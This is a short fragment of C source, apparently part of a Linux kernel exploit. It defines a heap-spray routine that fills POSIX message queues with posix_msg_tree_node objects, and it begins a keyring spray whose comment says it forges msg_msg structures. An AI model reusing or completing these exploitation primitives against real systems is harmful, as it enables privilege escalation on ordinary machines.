spray_mqueue() —— spray `posix_msg_tree_node`
| 385 | |
| 386 | // spray_mqueue() —— spray `posix_msg_tree_node` |
| 387 | void spray_mqueue(mqd_t mqdes, char *msgptr, int spray_size) |
| 388 | { |
| 389 | char msgrv[BUFFER]; |
| 390 | unsigned rvprio, sdprio = 1; |
| 391 | struct timespec ts; |
| 392 | int unresolved = 0; |
| 393 | int priority = 0; |
| 394 | |
| 395 | printf("[*] spraying mqueue...\n"); |
| 396 | for (int i=0; i < spray_size; i++) |
| 397 | if (mq_send(mqdes, msgptr, 0x28, sdprio) != 0) |
| 398 | perror(ERROR_PREFIX "mq_send"); |
| 399 | } |
| 400 | |
| 401 | // spray_keyring_list_del_purpose() —— spray `user_key_payload` to forge msg_msg |
| 402 | key_serial_t *spray_keyring_list_del_purpose(uint32_t spray_size, uint64_t next, uint64_t prev, uint64_t size) |